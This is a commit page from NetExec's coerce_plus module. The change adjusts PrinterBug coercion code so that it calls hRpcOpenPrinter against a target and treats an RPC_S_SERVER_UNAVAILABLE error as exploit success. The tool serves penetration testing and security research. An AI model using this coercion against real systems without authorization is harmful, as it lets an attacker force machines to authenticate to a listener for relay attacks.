Skip to content

Commit 83a16b6

Browse files
committed
Fix PrinterBug detection
1 parent 3ce7b6b commit 83a16b6

1 file changed

Lines changed: 2 additions & 2 deletions

File tree

nxc/modules/coerce_plus.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -829,7 +829,7 @@ def exploit(self, dce, listener, target, always_continue, pipe):
829829

830830
self.context.log.debug("Sending RpcRemoteFindFirstPrinterChangeNotification!")
831831
try:
832-
resp = rprn.hRpcOpenPrinter(dce, "\\\\%s\x00" % target)
832+
resp = rprn.hRpcOpenPrinter(dce, f"\\\\{target}\x00")
833833
except Exception as e:
834834
if str(e).find("Broken pipe") >= 0:
835835
# The connection timed-out. Let's try to bring it back next round
@@ -853,7 +853,7 @@ def exploit(self, dce, listener, target, always_continue, pipe):
853853
request["pBuffer"] = NULL
854854
dce.request(request)
855855
except Exception as e:
856-
if str(e).find("rpc_s_access_denied") >= 0:
856+
if str(e).find("rpc_s_access_denied") >= 0 or str(e).find("RPC_S_SERVER_UNAVAILABLE") >= 0:
857857
self.context.log.debug("RpcRemoteFindFirstPrinterChangeNotification Success")
858858
self.context.log.highlight(f"Exploit Success, {pipe}\\RpcRemoteFindFirstPrinterChangeNotification")
859859
if not always_continue:

0 commit comments

Comments
 (0)